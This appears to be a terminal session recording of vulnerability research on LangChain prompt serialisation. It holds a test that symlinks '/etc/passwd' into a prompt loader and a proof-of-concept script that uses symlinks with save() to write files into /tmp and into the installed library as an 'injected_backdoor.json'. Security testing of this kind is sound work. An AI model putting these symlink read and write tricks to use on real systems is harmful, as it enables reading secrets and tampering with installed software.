[216.175928, "o", "\b"]
[216.207546, "o", "\b"]
[216.247569, "o", "\b"]
[216.284097, "o", "\b"]
[216.307268, "o", "\b"]
[216.337164, "o", "\b"]
[216.367901, "o", "\b"]
[216.400679, "o", "\b"]
[216.443724, "o", "\b"]
[216.470453, "o", "\b"]
[216.500063, "o", "\b"]
[216.533425, "o", "\b"]
[216.567345, "o", "\b"]
[216.59885, "o", "\b"]
[216.644149, "o", "\b"]
[216.683558, "o", "\b"]
[216.712564, "o", "\b"]
[216.732272, "o", "\b"]
[216.76513, "o", "\b"]
[216.795823, "o", "\b"]
[216.827942, "o", "\b"]
[216.860766, "o", "\b"]
[216.901367, "o", "\b"]
[216.947365, "o", "\b"]
[216.963057, "o", "\b"]
[216.995021, "o", "\b"]
[217.028657, "o", "\b"]
[217.061225, "o", "\b"]
[217.097011, "o", "\b"]
[217.14879, "o", "\b"]
[217.165254, "o", "\b"]
[217.195554, "o", "\b"]
[217.229681, "o", "\b"]
[217.260138, "o", "\b"]
[217.308868, "o", "\b"]
[217.335017, "o", "\b"]
[217.360025, "o", "\b"]
[217.390469, "o", "\b"]
[217.425653, "o", "\b"]
[217.459489, "o", "\r"]
[217.495538, "o", "\u001b[Atry:"]
[217.544172, "o", "\b"]
[217.559295, "o", "\b"]
[217.59048, "o", "\b"]
[217.623236, "o", "\r"]
[217.656615, "o", "\u001b[A"]
[217.694091, "o", "\u001b[A}"]
[217.728876, "o", "\r"]
[217.754651, "o", "\u001b[A    \"input_variables\": []"]
[217.787485, "o", "\b"]
[217.820006, "o", "\b"]
[217.853201, "o", "\b"]
[217.917921, "o", "\b"]
[217.927606, "o", "\b"]
[217.953698, "o", "\b"]
[217.986875, "o", "\b"]
[218.019458, "o", "\b"]
[218.051135, "o", "\b"]
[218.083757, "o", "\b"]
[218.131013, "o", "\b"]
[218.168792, "o", "\b"]
[218.184425, "o", "\b"]
[218.215998, "o", "\b"]
[218.248292, "o", "\b"]
[218.284159, "o", "\b"]
[218.316274, "o", "\b"]
[218.36441, "o", "\b"]
[218.386068, "o", "\b"]
[218.425154, "o", "\b"]
[218.449549, "o", "\b"]
[218.481528, "o", "\b"]
[218.513768, "o", "\b"]
[218.545921, "o", "\b"]
[218.605106, "o", "\r"]
[218.618577, "o", "\u001b[A    \"template_format\": \"f-string\","]
[218.651411, "o", "\b"]
[218.680515, "o", "\b"]
[218.714118, "o", "\b"]
[218.747983, "o", "\b"]
[218.7772, "o", "\b"]
[218.811562, "o", "\b"]
[218.841964, "o", "\b"]
[218.876422, "o", "\b"]
[218.938253, "o", "\b"]
[218.944015, "o", "\b"]
[218.980565, "o", "\b"]
[219.012693, "o", "\b"]
[219.042641, "o", "\b"]
[219.075495, "o", "\b"]
[219.119988, "o", "\b"]
[219.148455, "o", "\b"]
[219.174803, "o", "\b"]
[219.208146, "o", "\b"]
[219.242129, "o", "\b"]
[219.270324, "o", "\b"]
[219.306729, "o", "\b"]
[219.368727, "o", "\b"]
[219.377882, "o", "\b"]
[219.402586, "o", "\b"]
[219.450465, "o", "\b"]
[219.476283, "o", "\b"]
[219.503744, "o", "\b"]
[219.538192, "o", "\b"]
[219.568709, "o", "\b"]
[219.608127, "o", "\b"]
[219.63832, "o", "\b"]
[219.669003, "o", "\b"]
[219.705535, "o", "\b"]
[219.737271, "o", "\r"]
[219.769111, "o", "\u001b[A    \"template_path\": \"test_bypass.txt\","]
[219.799524, "o", "\b"]
[219.835035, "o", "\b"]
[219.867797, "o", "\b"]
[219.89792, "o", "\b"]
[219.934943, "o", "\b"]
[219.972604, "o", "\b"]
[220.004816, "o", "\b"]
[220.030786, "o", "\b"]
[220.063872, "o", "\b"]
[220.098163, "o", "\b"]
[220.13302, "o", "\b"]
[220.167261, "o", "\b"]
[220.222826, "o", "\b"]
[220.237274, "o", "\b"]
[220.263043, "o", "\b"]
[220.297172, "o", "\b"]
[220.329536, "o", "\b"]
[220.362245, "o", "\b"]
[220.413489, "o", "\b"]
[220.430044, "o", "\b"]
[220.471007, "o", "\b"]
[220.497604, "o", "\b"]
[220.526752, "o", "\b"]
[220.558738, "o", "\b"]
[220.591511, "o", "\b"]
[220.651157, "o", "\b"]
[220.66144, "o", "\b"]
[220.696103, "o", "\b"]
[220.728616, "o", "\b"]
[220.760611, "o", "\b"]
[220.789131, "o", "\b"]
[220.828126, "o", "\b"]
[220.872845, "o", "\b"]
[220.890783, "o", "\b"]
[220.923987, "o", "\b"]
[220.957862, "o", "\b"]
[220.989218, "o", "\b"]
[221.021595, "o", "\b"]
[221.054383, "o", "\r"]
[221.103325, "o", "\u001b[A    \"_type\": \"prompt\","]
[221.121704, "o", "\b"]
[221.153186, "o", "\b"]
[221.187979, "o", "\b"]
[221.225369, "o", "\b"]
[221.256196, "o", "\b"]
[221.301726, "o", "\b"]
[221.318985, "o", "\b"]
[221.351364, "o", "\b"]
[221.38386, "o", "\b"]
[221.416961, "o", "\b"]
[221.450648, "o", "\b"]
[221.483984, "o", "\b"]
[221.53465, "o", "\b"]
[221.556878, "o", "\b"]
[221.586687, "o", "\b"]
[221.619735, "o", "\b"]
[221.650293, "o", "\b"]
[221.691916, "o", "\b"]
[221.732932, "o", "\b"]
[221.756911, "o", "\b"]
[221.781561, "o", "\b"]
[221.811562, "o", "\r"]
[221.844479, "o", "\u001b[Aconfig = {"]
[221.892538, "o", "\b"]
[221.914293, "o", "\b"]
[221.948988, "o", "\b"]
[221.98067, "o", "\b"]
[222.013182, "o", "\b"]
[222.045737, "o", "\b"]
[222.081772, "o", "\b"]
[222.14012, "o", "\b"]
[222.153063, "o", "\b"]
[222.177596, "o", "\r"]
[222.211706, "o", "\u001b[A"]
[222.245662, "o", "\u001b[Aos.symlink(\"/etc/passwd\", \"test_bypass.txt\")"]
[222.27337, "o", "\b"]
[222.316131, "o", "\b"]
[222.342296, "o", "\b"]
[222.379716, "o", "\b"]
[222.410688, "o", "\b"]
[222.441822, "o", "\b"]
[222.472815, "o", "\b"]
[222.509361, "o", "\b"]
[222.55926, "o", "\b"]
[222.577293, "o", "\b"]
[222.607063, "o", "\b"]
[222.648747, "o", "\b"]
[222.67021, "o", "\b"]
[222.707765, "o", "\b"]
[222.754246, "o", "\b"]
[222.771546, "o", "\b"]
[222.803518, "o", "\b"]
[222.837071, "o", "\b"]
[222.87312, "o", "\b"]
[222.914295, "o", "\b"]
[222.939497, "o", "\b"]
[222.970897, "o", "\b"]
[223.002306, "o", "\b"]
[223.035629, "o", "\b"]
[223.069774, "o", "\b"]
[223.124004, "o", "\b"]
[223.136565, "o", "\b"]
[223.166204, "o", "\b"]
[223.202497, "o", "\b"]
[223.231442, "o", "\b"]
[223.267999, "o", "\b"]
[223.318426, "o", "\b"]
[223.330658, "o", "\b"]
[223.388132, "o", "\b"]
[223.398927, "o", "\b"]
[223.4307, "o", "\b"]
[223.46324, "o", "\b"]
[223.49801, "o", "\b"]
[223.530628, "o", "\b"]
[223.564101, "o", "\b"]
[223.619054, "o", "\b"]
[223.633349, "o", "\b"]
[223.666639, "o", "\b"]
[223.699149, "o", "\r"]
[223.730371, "o", "\u001b[A# Create symlink to /etc/passwd"]
[223.761628, "o", "\b"]
[223.794971, "o", "\b"]
[223.829206, "o", "\b"]
[223.863709, "o", "\b"]
[223.896115, "o", "\b"]
[223.92782, "o", "\b"]
[223.962073, "o", "\b"]
[223.990849, "o", "\b"]
[224.034887, "o", "\b"]
[224.06905, "o", "\b"]
[224.092074, "o", "\b"]
[224.126197, "o", "\b"]
[224.157219, "o", "\b"]
[224.189882, "o", "\b"]
[224.222522, "o", "\b"]
[224.287419, "o", "\b"]
[224.299991, "o", "\b"]
[224.321456, "o", "\b"]
[224.354817, "o", "\b"]
[224.385772, "o", "\b"]
[224.422708, "o", "\b"]
[224.4541, "o", "\b"]
[224.48792, "o", "\b"]
[224.520663, "o", "\b"]
[224.554223, "o", "\b"]
[224.589926, "o", "\b"]
[224.617609, "o", "\b"]
[224.652546, "o", "\b"]
[224.710804, "o", "\b"]
[224.723013, "o", "\b"]
[224.750672, "o", "\r"]
[224.783748, "o", "\u001b[A"]
[224.817615, "o", "\u001b[Aprint(\"Testing load_prompt_from_config() with allow_dangerous_paths=False (default)...\")"]
[224.848727, "o", "\b"]
[224.900386, "o", "\b"]
[224.914071, "o", "\b"]
[224.970706, "o", "\b"]
[224.985623, "o", "\b"]
[225.016182, "o", "\b"]
[225.049526, "o", "\b"]
[225.083123, "o", "\b"]
[225.11234, "o", "\b"]
[225.161564, "o", "\b"]
[225.195286, "o", "\b"]
[225.21781, "o", "\b"]
[225.246753, "o", "\b"]
[225.280318, "o", "\b"]
[225.311651, "o", "\b"]
[225.34267, "o", "\b"]
[225.400333, "o", "\b"]
[225.422097, "o", "\b"]
[225.444894, "o", "\b"]
[225.476234, "o", "\b"]
[225.51067, "o", "\b"]
[225.541327, "o", "\b"]
[225.580086, "o", "\b"]
[225.624472, "o", "\b"]
[225.648208, "o", "\b"]
[225.674232, "o", "\b"]
[225.709124, "o", "\b"]
[225.739712, "o", "\b"]
[225.773679, "o", "\b"]
[225.808943, "o", "\b"]
[225.861297, "o", "\b"]
[225.87488, "o", "\b"]
[225.904357, "o", "\b"]
[225.939063, "o", "\b"]
[225.971789, "o", "\b"]
[226.009232, "o", "\b"]
[226.038982, "o", "\b"]
[226.071753, "o", "\b"]
[226.103098, "o", "\b"]
[226.136666, "o", "\b"]
[226.191168, "o", "\b"]
[226.212117, "o", "\b"]
[226.236849, "o", "\b"]
[226.269164, "o", "\b"]
[226.29958, "o", "\b"]
[226.333742, "o", "\b"]
[226.372197, "o", "\b"]
[226.400923, "o", "\b"]
[226.446281, "o", "\b"]
[226.466653, "o", "\b"]
[226.499796, "o", "\b"]
[226.532478, "o", "\b"]
[226.570176, "o", "\b"]
[226.611155, "o", "\b"]
[226.642193, "o", "\b"]
[226.665703, "o", "\b"]
[226.700125, "o", "\b"]
[226.732545, "o", "\b"]
[226.765525, "o", "\b"]
[226.808357, "o", "\b"]
[226.839025, "o", "\b"]
[226.874627, "o", "\b"]
[226.89867, "o", "\b"]
[226.932748, "o", "\b"]
[226.961057, "o", "\b"]
[226.994092, "o", "\b"]
[227.027723, "o", "\b"]
[227.060521, "o", "\b"]
[227.117889, "o", "\b"]
[227.128964, "o", "\b"]
[227.165304, "o", "\b"]
[227.200163, "o", "\b"]
[227.22864, "o", "\b"]
[227.258279, "o", "\b"]
[227.293767, "o", "\b"]
[227.346048, "o", "\b"]
[227.360024, "o", "\b"]
[227.391488, "o", "\b"]
[227.423037, "o", "\b"]
[227.457887, "o", "\b"]
[227.487884, "o", "\b"]
[227.52715, "o", "\b"]
[227.563675, "o", "\b"]
[227.590588, "o", "\b"]
[227.624183, "o", "\b"]
[227.6553, "o", "\b"]
[227.686889, "o", "\b"]
[227.718917, "o", "\r"]
[227.770706, "o", "\u001b[A"]
[227.788655, "o", "\u001b[Afrom langchain_core.prompts.loading import load_prompt_from_config"]
[227.819791, "o", "\b"]
[227.876706, "o", "\b"]
[227.884532, "o", "\b"]
[227.92911, "o", "\b"]
[227.954715, "o", "\b"]
[227.98786, "o", "\b"]
[228.01854, "o", "\b"]
[228.052769, "o", "\b"]
[228.084162, "o", "\b"]
[228.117808, "o", "\b"]
[228.151818, "o", "\b"]
[228.187138, "o", "\b"]
[228.23119, "o", "\b"]
[228.251596, "o", "\b"]
[228.282767, "o", "\b"]
[228.31521, "o", "\b"]
[228.344814, "o", "\b"]
[228.380909, "o", "\b"]
[228.419748, "o", "\b"]
[228.460429, "o", "\b"]
[228.531075, "o", "\b"]
[228.536968, "o", "\b"]
[228.545945, "o", "\b"]
[228.57969, "o", "\b"]
[228.613237, "o", "\b"]
[228.644416, "o", "\b"]
[228.687178, "o", "\b"]
[228.723351, "o", "\b"]
[228.74607, "o", "\b"]
[228.777135, "o", "\b"]
[228.814585, "o", "\b"]
[228.845746, "o", "\b"]
[228.87758, "o", "\b"]
[228.906972, "o", "\b"]
[228.948676, "o", "\b"]
[228.977617, "o", "\b"]
[229.011352, "o", "\b"]
[229.059767, "o", "\b"]
[229.074374, "o", "\b"]
[229.106897, "o", "\b"]
[229.141162, "o", "\b"]
[229.171365, "o", "\b"]
[229.206548, "o", "\b"]
[229.240291, "o", "\b"]
[229.273616, "o", "\b"]
[229.306229, "o", "\b"]
[229.335881, "o", "\b"]
[229.370885, "o", "\b"]
[229.404108, "o", "\b"]
[229.437154, "o", "\b"]
[229.472102, "o", "\b"]
[229.504713, "o", "\b"]
[229.536072, "o", "\b"]
[229.568714, "o", "\b"]
[229.60372, "o", "\b"]
[229.63824, "o", "\b"]
[229.671252, "o", "\b"]
[229.730068, "o", "\b"]
[229.742704, "o", "\b"]
[229.769325, "o", "\b"]
[229.803285, "o", "\b"]
[229.837153, "o", "\b"]
[229.866096, "o", "\b"]
[229.898779, "o", "\b"]
[229.932085, "o", "\b"]
[229.970236, "o", "\r"]
[229.996107, "o", "\u001b[Aimport os"]
[230.030851, "o", "\b"]
[230.067839, "o", "\b"]
[230.097389, "o", "\b"]
[230.13036, "o", "\b"]
[230.163099, "o", "\b"]
[230.195396, "o", "\b"]
[230.230065, "o", "\b"]
[230.259791, "o", "\b"]
[230.295709, "o", "\r"]
[230.327665, "o", "\u001b[Acat << 'EOF' > test_read.py"]
[230.361631, "o", "\b"]
[230.393622, "o", "\b"]
[230.427602, "o", "\b"]
[230.460229, "o", "\b"]
[230.495184, "o", "\b"]
[230.525252, "o", "\b"]
[230.559515, "o", "\b"]
[230.592601, "o", "\b"]
[230.625544, "o", "\b"]
[230.658573, "o", "\b"]
[230.693327, "o", "\b"]
[230.726092, "o", "\b"]
[230.75647, "o", "\b"]
[230.790819, "o", "\b"]
[230.824159, "o", "\b"]
[230.853944, "o", "\b"]
[230.887912, "o", "\b"]
[230.944084, "o", "\b"]
[230.958087, "o", "\b"]
[230.999721, "o", "\b"]
[231.029473, "o", "\b"]
[231.057171, "o", "\b"]
[231.088841, "o", "\b"]
[231.121823, "o", "\b"]
[231.157961, "o", "\b"]
[231.192643, "o", "\b"]
[231.226019, "o", "\r"]
[231.265824, "o", "\u001b[A"]
[231.292215, "o", "\u001b[Aecho \"# This blocks reading sensitive files... let's test:\""]
[231.320141, "o", "\b"]
[231.350441, "o", "\b"]
[231.382074, "o", "\b"]
[231.422929, "o", "\b"]
[231.479243, "o", "\b"]
[231.487634, "o", "\b"]
[231.519665, "o", "\b"]
[231.555663, "o", "\b"]
[231.585269, "o", "\b"]
[231.624925, "o", "\b"]
[231.671774, "o", "\b"]
[231.688858, "o", "\b"]
[231.715705, "o", "\b"]
[231.748782, "o", "\b"]
[231.778659, "o", "\b"]
[231.813777, "o", "\b"]
[231.863236, "o", "\b"]
[231.876243, "o", "\b"]
[231.911546, "o", "\b"]
[231.945946, "o", "\b"]
[231.978526, "o", "\b"]
[232.009686, "o", "\b"]
[232.06504, "o", "\b"]
[232.078634, "o", "\b"]
[232.109202, "o", "\b"]
[232.143684, "o", "\b"]
[232.174812, "o", "\b"]
[232.208793, "o", "\b"]
[232.242678, "o", "\b"]
[232.28377, "o", "\b"]
[232.310133, "o", "\b"]
[232.340903, "o", "\b"]
[232.374536, "o", "\b"]
[232.404453, "o", "\b"]
[232.454614, "o", "\b"]
[232.481121, "o", "\b"]
[232.505706, "o", "\b"]
[232.536562, "o", "\b"]
[232.572309, "o", "\b"]
[232.606405, "o", "\b"]
[232.638095, "o", "\b"]
[232.693234, "o", "\b"]
[232.71006, "o", "\b"]
[232.751102, "o", "\b"]
[232.777371, "o", "\b"]
[232.80504, "o", "\b"]
[232.836914, "o", "\b"]
[232.869823, "o", "\b"]
[232.901745, "o", "\b"]
[232.936019, "o", "\b"]
[232.990316, "o", "\b"]
[233.00646, "o", "\b"]
[233.034392, "o", "\b"]
[233.067893, "o", "\b"]
[233.107587, "o", "\b"]
[233.135777, "o", "\b"]
[233.177724, "o", "\b"]
[233.21134, "o", "\b"]
[233.235722, "o", "\r"]
[233.264235, "o", "\u001b[Aecho \"# In v1.2.25, load_prompt_from_config() now has allow_dangerous_paths=False\""]
[233.298726, "o", "\b"]
[233.328062, "o", "\b"]
[233.364709, "o", "\b"]
[233.401508, "o", "\b"]
[233.434463, "o", "\b"]
[233.468604, "o", "\b"]
[233.498295, "o", "\b"]
[233.529677, "o", "\b"]
[233.561427, "o", "\b"]
[233.599261, "o", "\b"]
[233.63062, "o", "\b"]
[233.675161, "o", "\b"]
[233.693297, "o", "\b"]
[233.735717, "o", "\b"]
[233.759439, "o", "\b"]
[233.792136, "o", "\b"]
[233.825791, "o", "\b"]
[233.857451, "o", "\b"]
[233.900801, "o", "\b"]
[233.924563, "o", "\b"]
[233.960417, "o", "\b"]
[233.993497, "o", "\b"]
[234.023167, "o", "\b"]
[234.058112, "o", "\b"]
[234.100982, "o", "\b"]
[234.133951, "o", "\b"]
[234.157426, "o", "\b"]
[234.188907, "o", "\b"]
[234.222853, "o", "\b"]
[234.256313, "o", "\b"]
[234.29967, "o", "\b"]
[234.333791, "o", "\b"]
[234.35727, "o", "\b"]
[234.389658, "o", "\b"]
[234.42216, "o", "\b"]
[234.453993, "o", "\b"]
[234.489455, "o", "\b"]
[234.543228, "o", "\b"]
[234.560435, "o", "\b"]
[234.585459, "o", "\b"]
[234.61798, "o", "\b"]
[234.651492, "o", "\b"]
[234.681833, "o", "\b"]
[234.724649, "o", "\b"]
[234.748657, "o", "\b"]
[234.785888, "o", "\b"]
[234.820169, "o", "\b"]
[234.848842, "o", "\b"]
[234.881596, "o", "\b"]
[234.916732, "o", "\b"]
[234.948163, "o", "\b"]
[234.982725, "o", "\b"]
[235.019168, "o", "\b"]
[235.064329, "o", "\b"]
[235.080304, "o", "\b"]
[235.112202, "o", "\b"]
[235.145862, "o", "\b"]
[235.177797, "o", "\b"]
[235.224485, "o", "\b"]
[235.243861, "o", "\b"]
[235.276693, "o", "\b"]
[235.310707, "o", "\b"]
[235.562084, "o", "\b"]
[235.724414, "o", "\b"]
[236.662356, "o", "\b\u001b[1P"]
[236.870523, "o", "\u001b[1@6"]
[237.537278, "o", "\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\u001b[?2004l\r# PART 1: The READ vulnerability (Mostly Fixed)\r\n# =============================================\r\n\r\n# In v1.2.26, load_prompt_from_config() now has allow_dangerous_paths=False\r\n# This blocks reading sensitive files... let's test:\r\n"]
[238.398086, "o", "Testing load_prompt_from_config() with allow_dangerous_paths=False (default)...\r\n"]
[238.400784, "o", "//test_read.py:18: LangChainDeprecationWarning: The function `load_prompt_from_config` was deprecated in LangChain 1.2.21 and will be removed in 2.0.0. Use `Use `dumpd`/`dumps` from `langchain_core.load` to serialize prompts and `load`/`loads` to deserialize them.` instead.\r\n  result = load_prompt_from_config(config)\r\n✅ GOOD: Blocked with error: ...\r\n\r\nNow testing with allow_dangerous_paths=True..."]
[238.400912, "o", "\r\nNo `_type` key found, defaulting to `prompt`.\r\n❌ Even with allow_dangerous_paths=True: ValidationError: 1 validation error for PromptTemplate"]
[238.403835, "o", "\r\ntemplate\r\n  Field required [type=missing, input_value={'template_format': 'f-st..., 'input_variables': []}, input_type=dict]\r\n    For further information visit https://errors.pydantic.dev/2.12/v/missing\r\n"]
[241.595061, "o", "\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# \u001b[K"]
[244.053121, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[244.360955, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[244.509041, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[244.632932, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[250.252616, "o", "echo \"\"\r\n\recho \"# PART 2: The WRITE vulnerability (STILL EXISTS!)\"\r\n\recho \"# ===============================================\"\r\n\recho \"\"\r\n\recho \"# The save() method doesn't have allow_dangerous_paths protection!\"\r\n\recho \"# Let me prove we can still write anywhere via symlinks...\"\r\n\r\n\rcat << 'EOF' > test_write.py\r\n\rimport os\r\n\rimport json\r\n\rfrom langchain_core.prompts import PromptTemplate\r\n\r\n\rprint(\"Testing PromptTemplate.save() vulnerability...\")\r\n\r\n\r# Create a simple prompt\r\n\rprompt = PromptTemplate.from_template(\"Malicious payload\")\r\n\r\n\rprint(\"\\n1. Testing arbitrary file write via .json symlink:\")\r\n\rtarget_file = \"/tmp/test_save_vuln.json\"\r\n\rsymlink_name = \"exploit.json\"\r\n\r\n\rtry:\r\n\r    os.symlink(target_file, symlink_name)\r\n\r    prompt.save(symlink_name)\r\n\r    print(f\"✅ SUCCESS: Wrote to {target_file} via symlink\")\r\n\r    \r\n\r    # Verify\r\n\r    if os.path.exists(target_file):\r\n\r        with open(target_file, 'r') as f:\r\n\r\u001b[7m            content = f.read()\u001b[27m\r\n\r\u001b[7m            if \"Malicious payload\" in content:\u001b[27m\r\n\r\u001b[7m                print(\"   ✓ Payload verified in target file\")\u001b[27m\r\n\r\u001b[7m        os.remove(target_file)\u001b[27m\r\n\r\u001b[7m        \u001b[27m\r\n\r\u001b[7mexcept Exception as e:\u001b[27m\r\n\r\u001b[7m    print(f\"❌ FAILED: {type(e).__name__}: {e}\")\u001b[27m\r\n\r\u001b[7mfinally:\u001b[27m\r\n\r\u001b[7m    if os.path.exists(symlink_name):\u001b[27m\r\n\r\u001b[7m        os.remove(symlink_name)\u001b[27m\r\n\r\n\r\u001b[7mprint(\"\\n2. Testing Scope Change - Writing to LangChain package:\")\u001b[27m\r\n\r\u001b[7mimport langchain_core\u001b[27m\r\n\r\u001b[7mlangchain_path = langchain_core.__path__[0]\u001b[27m\r\n\r\u001b[7mpackage_target = f\"{langchain_path}/injected_backdoor.json\"\u001b[27m\r\n\r\u001b[7mpackage_symlink = \"package_attack.json\"\u001b[27m\r\n\r\n\r\u001b[7mtry:\u001b[27m\r\n\r\u001b[7m    os.symlink(package_target, package_symlink)\u001b[27m\r\n\r\u001b[7m    prompt.save(package_symlink)\u001b[27m\r\n\r\u001b[7m    print(f\"✅ SCOPE CHANGE: Wrote to {package_target}\")\u001b[27m\r\n\r\u001b[7m    print(\"   This proves we can modify the library itself!\")\u001b[27m\r\n\r\u001b[7m    \u001b[27m\r\n\r\u001b[7m    if os.path.exists(package_target):\u001b[27m\r\n\r\u001b[7m        os.remove(package_target)\u001b[27m\r\n\r\u001b[7m        \u001b[27m\r\u001b[7mexcept Exception as e:\u001b[27m\r\u001b[7m    print(f\"❌ Package write failed: {type(e).__name__}: {e}\")\u001b[27m\r\u001b[7mfinally:\u001b[27m\r\u001b[7m    if os.path.exists(package_symlink):\u001b[27m\r\u001b[7m        os.remove(package_symlink)\u001b[27m\r\u001b[7mprint(\"\\n3. Testing .yaml files too:\")\u001b[27m\r\u001b[7myaml_target = \"/tmp/test_yaml_vuln.yaml\"\u001b[27m\r\u001b[7myaml_symlink = \"exploit.yaml\"\u001b[27m\r\u001b[7mtry:\u001b[27m\r\u001b[7m    os.symlink(yaml_target, yaml_symlink)\u001b[27m\r\u001b[7m    prompt.save(yaml_symlink)\u001b[27m\r\u001b[7m    print(f\"✅ YAML write works: {yaml_target}\")\u001b[27m\r\u001b[7m    \u001b[27m\r\u001b[7m    if os.path.exists(yaml_target):\u001b[27m\r\u001b[7m        os.remove(yaml_target)\u001b[27m\r\u001b[7m        \u001b[27m\r\u001b[7mexcept Exception as e:\u001b[27m\r\u001b[7m    print(f\"❌ YAML failed: {type(e).__name__}: {e}\")\u001b[27m\r\u001b[7mfinally:\u001b[27m\r\u001b[7m    if os.path.exists(yaml_symlink):\u001b[27m\r\u001b[7m        os.remove(yaml_symlink)\u001b[27m\r\u001b[7mEOF\u001b[27m\r\u001b[7mpython3 test_write.py\u001b[27m\r\u001b[7msleep 3\u001b[27m\r"]
[250.975681, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A            content = f.read()\r\n\r            if \"Malicious payload\" in content:\r\n\r                print(\"   ✓ Payload verified in target file\")\r\n\r        os.remove(target_file)\r\n\r        \r\n\rexcept Exception as e:\r\n\r    print(f\"❌ FAILED: {type(e).__name__}: {e}\")\r\n\rfinally:\r\n\r    if os.path.exists(symlink_name):\r\n\r        os.remove(symlink_name)\r\n\r\n\rprint(\"\\n2. Testing Scope Change - Writing to LangChain package:\")\r\n\rimport langchain_core\r\n\rlangchain_path = langchain_core.__path__[0]\r\n\rpackage_target = f\"{langchain_path}/injected_backdoor.json\"\r\n\rpackage_symlink = \"package_attack.json\"\r\n\r\n\rtry:\r\n\r    os.symlink(package_target, package_symlink)\r\n\r    prompt.save(package_symlink)\r\n\r    print(f\"✅ SCOPE CHANGE: Wrote to {package_target}\")\r\n\r    print(\"   This proves we can modify the library itself!\")\r\n\r    \r\n\r    if os.path.exists(package_target):\r\n\r        os.remove(package_target)\r\n\r        \rexcept Exception as e:\r    print(f\"❌ Package write failed: {type(e).__name__}: {e}\")\rfinally:\r    if os.path.exists(package_symlink):\r        os.remove(package_symlink)\rprint(\"\\n3. Testing .yaml files too:\")\ryaml_target = \"/tmp/test_yaml_vuln.yaml\"\ryaml_symlink = \"exploit.yaml\"\rtry:\r    os.symlink(yaml_target, yaml_symlink)\r    prompt.save(yaml_symlink)\r    print(f\"✅ YAML write works: {yaml_target}\")\r    \r    if os.path.exists(yaml_target):\r        os.remove(yaml_target)\r        \rexcept Exception as e:\r    print(f\"❌ YAML failed: {type(e).__name__}: {e}\")\rfinally:\r    if os.path.exists(yaml_symlink):\r        os.remove(yaml_symlink)\rEOF\rpython3 test_write.py\rsleep 3\r\r\n\u001b[?2004l\r\r\n"]
[250.97682, "o", "bash: !: event not found\r\n# ===============================================\r\n\r\n# The save() method doesn't have allow_dangerous_paths protection!\r\n# Let me prove we can still write anywhere via symlinks...\r\n"]
[251.676242, "o", "Testing PromptTemplate.save() vulnerability...\r\n\r\n1. Testing arbitrary file write via .json symlink:\r\n//test_write.py:16: LangChainDeprecationWarning: The method `BasePromptTemplate.save` was deprecated in langchain-core 1.2.21 and will be removed in 2.0.0. Use `Use `dumpd`/`dumps` from `langchain_core.load` to serialize prompts and `load`/`loads` to deserialize them.` instead.\r\n  prompt.save(symlink_name)\r\n"]
[251.678377, "o", "✅ SUCCESS: Wrote to /tmp/test_save_vuln.json via symlink\r\n   ✓ Payload verified in target file\r\n\r\n2. Testing Scope Change - Writing to LangChain package:\r\n✅ SCOPE CHANGE: Wrote to /usr/local/lib/python3.12/dist-packages/langchain_core/injected_backdoor.json\r\n   This proves we can modify the library itself!\r\n\r\n3. Testing .yaml files too:\r\n"]
[251.68167, "o", "✅ YAML write works: /tmp/test_yaml_vuln.yaml\r\n"]
[254.822763, "o", "\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# \u001b[K"]
[263.272384, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[263.766543, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[263.797563, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[263.830283, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[263.863535, "o", "\r\n\u001b[?2004l\r"]
[263.865283, "o", "\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[263.896163, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[263.932692, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[263.960623, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[263.995183, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[264.027078, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[264.060425, "o", "\r\n\u001b[?2004l\r"]
[264.061189, "o", "\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[264.094224, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[264.126371, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
